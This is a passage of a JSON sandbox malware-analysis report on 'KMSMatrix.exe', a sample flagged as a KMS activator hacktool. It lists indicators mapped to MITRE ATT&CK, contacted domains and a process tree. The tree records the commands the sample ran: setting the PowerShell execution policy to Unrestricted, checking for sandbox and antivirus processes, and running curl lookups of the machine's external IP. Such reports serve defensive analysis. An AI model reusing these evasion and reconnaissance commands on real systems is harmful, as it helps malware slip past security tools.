00000000-00001356.00000002.70725.360C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"Found string \"Disable-PSBreakpoint\" (Indicator: \"Disable-PSBreakpoint\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Stop-Process\" (Indicator: \"Stop-Process\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Disable-PSRemoting\" (Indicator: \"Disable-PSRemoting\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00001016.00000000.68855.DB140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Deletes registry keys","description":"\"MsiExec.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ACROBAT ASSISTANT 7.0\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1070","relevance":3,"id":"registry-170","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to run commands from session history (Powershell command string)","description":"Found string \"Invoke-History\" (Indicator: \"Invoke-History\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-347","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"KMSMatrix.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00006876)\n \"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00004700)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"44/72 Antivirus vendors marked spawned process \"KMSMatrix.exe\" (PID: 6876) as malicious (classified as \"Gen:Variant.Application.HackTool.KMSActivator\" with 61% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}],"incidents":[{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Fingerprint","details_count":7,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Tries to identify its external IP address"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"},{"detail":"Tries to gather information about running processes on a system"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Marks file for deletion"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"References security related windows services"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 6 domains and 6 hosts"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}]},"activity":{"stats":{"process_count":64,"spawned_processes_count":64,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":187,"imported_dlls_count":174,"dropped_files_count":0,"extracted_files_count":19,"files_written_count":39,"files_deleted_count":0,"registry_keys_created_count":31,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":31,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":6,"dns_resolutions_count":6,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["hackkms","neshta","evasive","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"65a0721b81dc07259a012199","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Application.HackTool.KMSActivator","contacted_countries":["DEU","NLD","USA"],"submit_name":"KMSMatrix.exe","analysis_start_time":"2024-01-11T22:56:28+00:00","indicators_count":{"informative":195,"suspicious":67,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"657e4486645c2408e50a8998","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Application.HackTool.KMSActivator","contacted_countries":["DEU","USA"],"submit_name":"KMSMatrix.exe","analysis_start_time":"2023-12-17T00:44:56+00:00","indicators_count":{"informative":252,"suspicious":63,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"142.250.189.202","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"address":"192.30.255.113","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"address":"185.199.108.133","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"address":"34.117.186.192","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"address":"45.84.207.125","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"address":"142.250.189.234","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}],"dns_resolutions":[{"domain":"c.zeltitmp.net","address":"45.84.207.125","ttl":1800,"country":"Germany","registrar_name":"TUCOWS, INC.","registrar_organization":"REDACTED FOR PRIVACY","registrar_name_servers":"NS1.DNS-PARKING.COM","registrar_creation_date":"2023-04-21T08:22:16+00:00","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"domain":"github.com","address":"192.30.255.113","ttl":60,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1283.AWSDNS-32.ORG","registrar_creation_date":"2007-10-09T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"domain":"ipinfo.io","address":"34.117.186.192","ttl":4,"country":"United States","registrar_name":"http://www.nic.ac/go/whois/ipinfo.ac","registrar_name_servers":"ns-595.awsdns-10.net","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"domain":"raw.githubusercontent.com","address":"185.199.108.133","ttl":461,"country":"Netherlands","registrar_name":"MarkMonitor, Inc.","registrar_organization":"GitHub, Inc.","registrar_name_servers":"NS-1411.AWSDNS-48.ORG","registrar_creation_date":"2014-02-06T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"domain":"translate.googleapis.com","address":"142.250.189.202","ttl":300,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_creation_date":"2005-01-25T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"domain":"zeltitmp.net","address":"45.84.207.125","ttl":1800,"country":"Germany","registrar_name":"TUCOWS, INC.","registrar_organization":"REDACTED FOR PRIVACY","registrar_name_servers":"NS1.DNS-PARKING.COM","registrar_creation_date":"2023-04-21T08:22:16+00:00","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}],"processes":[{"pid":1356,"ppid":0,"name":"MsiExec.exe","command_line":"-Embedding DDBB3809C9E84BE0F861F6794AD85E06","sha256":"5a31ea6a517a065166fafa01a0ac6a350d0e2dcba1b6dd4fdb41ae59109568e1","normalized_path":"%WINDIR%\\System32\\MsiExec.exe","uid":"00000000-00001356","icon":"$84"},{"pid":6876,"ppid":0,"name":"KMSMatrix.exe","command_line":"","sha256":"a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5","normalized_path":"C:\\KMSMatrix.exe","uid":"00000000-00006876","icon":"$85"},{"pid":7020,"ppid":6876,"name":"cmd.exe","command_line":"/c \"\"%TEMP%\\inf.cmd\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006876","uid":"00000000-00007020"},{"pid":7244,"ppid":7020,"name":"timeout.exe","command_line":"timeout /t 5","sha256":"4310bfc44b00c09f13c0e82fd9e9f9503643bdac089111ae983326bb250edfc5","normalized_path":"%WINDIR%\\system32\\timeout.exe","parent_uid":"00000000-00007020","uid":"00000000-00007244"},{"pid":4700,"ppid":6876,"name":"powershell.exe","command_line":"& Set-ExecutionPolicy Unrestricted -Force","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006876","uid":"00000000-00004700"},{"pid":7608,"ppid":6876,"name":"cmd.exe","command_line":"/c \"\"%TEMP%\\m_srv.cmd\" /kms\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006876","uid":"00000000-00007608"},{"pid":948,"ppid":7608,"name":"findstr.exe","command_line":"findstr /rxc:\".*\" \"m_srv.cmd\"","sha256":"c9541af1d88cd6d38f1e6eba2fd7eacce3c1181166e50b523ed7cedb92fea045","normalized_path":"%WINDIR%\\System32\\findstr.exe","parent_uid":"00000000-00007608","uid":"00000000-00000948"},{"pid":5552,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" echo \"/kms\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00005552"},{"pid":716,"ppid":7608,"name":"find.exe","command_line":"find /i \"/\"","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00000716"},{"pid":7600,"ppid":7608,"name":"cmd.exe","command_line":"/c ver","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00007600"},{"pid":8392,"ppid":7608,"name":"reg.exe","command_line":"reg query \"HKCU\\Console\" /v ForceV2","sha256":"411ae446fe37b30c0727888c7fa5e88994a46dafd41aa5b3b06c9e884549afde","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007608","uid":"00000000-00008392"},{"pid":6448,"ppid":7608,"name":"find.exe","command_line":"find /i \"0x0\"","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00006448"},{"pid":1160,"ppid":7608,"name":"cmd.exe","command_line":"/c echo prompt $E | cmd","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00001160"},{"pid":6024,"ppid":1160,"name":"cmd.exe","command_line":"/S /D /c\" echo prompt $E \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00001160","uid":"00000000-00006024"},{"pid":3520,"ppid":1160,"name":"cmd.exe","command_line":"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00001160","uid":"00000000-00003520"},{"pid":7952,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" echo \"%TEMP%\\m_srv.cmd\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00007952"},{"pid":9036,"ppid":7608,"name":"find.exe","command_line":"find /i \"%TEMP%\\","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00009036"},{"pid":5300,"ppid":7608,"name":"fltMC.exe","command_line":"","sha256":"729bef61ec88d4c195d3ba78eb138b3d6e00dd43ba3e4b000ff655a95a4ad6d1","normalized_path":"%WINDIR%\\System32\\fltMC.exe","parent_uid":"00000000-00007608","uid":"00000000-00005300"},{"pid":4140,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" echo \"/kms\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00004140"},{"pid":1580,"ppid":7608,"name":"find.exe","command_line":"find /i \"/S\"","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00001580"},{"pid":8064,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" echo \"/kms\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00008064"},{"pid":3904,"ppid":7608,"name":"find.exe","command_line":"find /i \"/\"","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00003904"},{"pid":8464,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" echo \"/kms\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00008464"},{"pid":6160,"ppid":7608,"name":"find.exe","command_line":"find /i \"/act-\"","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00006160"},{"pid":996,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" echo \"/kms\" \"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00000996"},{"pid":1004,"ppid":7608,"name":"find.exe","command_line":"find /i \"/kms\"","sha256":"403be24097601a89aff97e17b4834d06957fa0e395dd9f9c329a3afdf515875c","normalized_path":"%WINDIR%\\System32\\find.exe","parent_uid":"00000000-00007608","uid":"00000000-00001004"},{"pid":1232,"ppid":7608,"name":"cmd.exe","command_line":"/c wmic path win32_LocalTime Get Day,Month,Year /value","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00001232"},{"pid":6956,"ppid":1232,"name":"WMIC.exe","command_line":"wmic path win32_LocalTime Get Day,Month,Year /value","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00000000-00001232","uid":"00000000-00006956"},{"pid":1892,"ppid":7608,"name":"cmd.exe","command_line":"/c tasklist /fi \"imagename eq SbieSvc.exe\" /fo csv /nh","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00001892"},{"pid":1228,"ppid":1892,"name":"tasklist.exe","command_line":"tasklist /fi \"imagename eq SbieSvc.exe\" /fo csv /nh","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00000000-00001892","uid":"00000000-00001228"},{"pid":2652,"ppid":7608,"name":"reg.exe","command_line":"reg query \"HKLM\\SOFTWARE\\Microsoft\\Alu\" /s /reg:32","sha256":"411ae446fe37b30c0727888c7fa5e88994a46dafd41aa5b3b06c9e884549afde","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007608","uid":"00000000-00002652"},{"pid":3312,"ppid":7608,"name":"reg.exe","command_line":"reg Add \"HKLM\\SOFTWARE\\Microsoft\\Alu\" /f /reg:32","sha256":"411ae446fe37b30c0727888c7fa5e88994a46dafd41aa5b3b06c9e884549afde","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00007608","uid":"00000000-00003312"},{"pid":4200,"ppid":7608,"name":"cmd.exe","command_line":"/c reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\" /v \"SystemProductName\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00004200"},{"pid":9052,"ppid":4200,"name":"reg.exe","command_line":"reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\" /v \"SystemProductName\"","sha256":"411ae446fe37b30c0727888c7fa5e88994a46dafd41aa5b3b06c9e884549afde","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00004200","uid":"00000000-00009052"},{"pid":6284,"ppid":7608,"name":"cmd.exe","command_line":"/c reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig\\Current\" /v \"SystemProductName\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00006284"},{"pid":6324,"ppid":6284,"name":"reg.exe","command_line":"reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig\\Current\" /v \"SystemProductName\"","sha256":"411ae446fe37b30c0727888c7fa5e88994a46dafd41aa5b3b06c9e884549afde","normalized_path":"%WINDIR%\\System32\\reg.exe","parent_uid":"00000000-00006284","uid":"00000000-00006324"},{"pid":8800,"ppid":7608,"name":"cmd.exe","command_line":"/c tasklist /fi \"imagename eq ekrn.exe\" /fo csv /nh","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00008800"},{"pid":5932,"ppid":8800,"name":"tasklist.exe","command_line":"tasklist /fi \"imagename eq ekrn.exe\" /fo csv /nh","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00000000-00008800","uid":"00000000-00005932"},{"pid":6088,"ppid":7608,"name":"cmd.exe","command_line":"/c tasklist /fi \"imagename eq QHActiveDefense.exe\" /fo csv /nh","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00006088"},{"pid":8744,"ppid":6088,"name":"tasklist.exe","command_line":"tasklist /fi \"imagename eq QHActiveDefense.exe\" /fo csv /nh","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00000000-00006088","uid":"00000000-00008744"},{"pid":5684,"ppid":7608,"name":"cmd.exe","command_line":"/c curl https://ipinfo.io/ip -k","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00005684"},{"pid":112,"ppid":5684,"name":"curl.exe","command_line":"curl https://ipinfo.io/ip -k","sha256":"664bb48bf3e8a7d7036e4b0029fa10e1a90c2562ad9a09a885650408d00dea1b","normalized_path":"%WINDIR%\\System32\\curl.exe","parent_uid":"00000000-00005684","uid":"00000000-00000112"},{"pid":7844,"ppid":7608,"name":"cmd.exe","command_line":"/c curl https://ipinfo.io/country -k","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00007844"},{"pid":8448,"ppid":7844,"name":"curl.exe","command_line":"curl https://ipinfo.io/country -k","sha256":"664bb48bf3e8a7d7036e4b0029fa10e1a90c2562ad9a09a885650408d00dea1b","normalized_path":"%WINDIR%\\System32\\curl.exe","parent_uid":"00000000-00007844","uid":"00000000-00008448"},{"pid":7820,"ppid":7608,"name":"WMIC.exe","command_line":"wmic os get caption","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00000000-00007608","uid":"00000000-00007820"},{"pid":7908,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" ( findstr /il%WINDIR%\\7\" 1>nul )\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00007908"},{"pid":6880,"ppid":7908,"name":"findstr.exe","command_line":"findstr /il%WINDIR%\\7\"","sha256":"c9541af1d88cd6d38f1e6eba2fd7eacce3c1181166e50b523ed7cedb92fea045","normalized_path":"%WINDIR%\\System32\\findstr.exe","parent_uid":"00000000-00007908","uid":"00000000-00006880"},{"pid":6736,"ppid":7608,"name":"WMIC.exe","command_line":"wmic os get caption","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00000000-00007608","uid":"00000000-00006736"},{"pid":9136,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" ( findstr /il%WINDIR%\\8\" 1>nul )\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00009136"},{"pid":2664,"ppid":9136,"name":"findstr.exe","command_line":"findstr /il%WINDIR%\\8\"","sha256":"c9541af1d88cd6d38f1e6eba2fd7eacce3c1181166e50b523ed7cedb92fea045","normalized_path":"%WINDIR%\\System32\\findstr.exe","parent_uid":"00000000-00009136","uid":"00000000-00002664"},{"pid":7296,"ppid":7608,"name":"WMIC.exe","command_line":"wmic os get caption","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00000000-00007608","uid":"00000000-00007296"},{"pid":8536,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" ( findstr /il%WINDIR%\\8.1\" 1>nul )\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00008536"},{"pid":8856,"ppid":8536,"name":"findstr.exe","command_line":"findstr /il%WINDIR%\\8.1\"","sha256":"c9541af1d88cd6d38f1e6eba2fd7eacce3c1181166e50b523ed7cedb92fea045","normalized_path":"%WINDIR%\\System32\\findstr.exe","parent_uid":"00000000-00008536","uid":"00000000-00008856"},{"pid":8796,"ppid":7608,"name":"WMIC.exe","command_line":"wmic os get caption","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00000000-00007608","uid":"00000000-00008796"},{"pid":7232,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" ( findstr /il%WINDIR%\\10\" 1>nul )\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007608","uid":"00000000-00007232"},{"pid":2608,"ppid":7232,"name":"findstr.exe","command_line":"findstr /il%WINDIR%\\10\"","sha256":"c9541af1d88cd6d38f1e6eba2fd7eacce3c1181166e50b523ed7cedb92fea045","normalized_path":"%WINDIR%\\System32\\findstr.exe","parent_uid":"00000000-00007232","uid":"00000000-00002608"},{"pid":2100,"ppid":7608,"name":"WMIC.exe","command_line":"wmic os get caption","sha256":"767bf5f08bf4338d9b928c08e25386eabe1ae7755a8612d9d3d791cdeb7a6067","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00000000-00007608","uid":"00000000-00002100"},{"pid":7760,"ppid":7608,"name":"cmd.exe","command_line":"/S /D /c\" ( findstr /il%WINDIR%\\11\" 1>nul 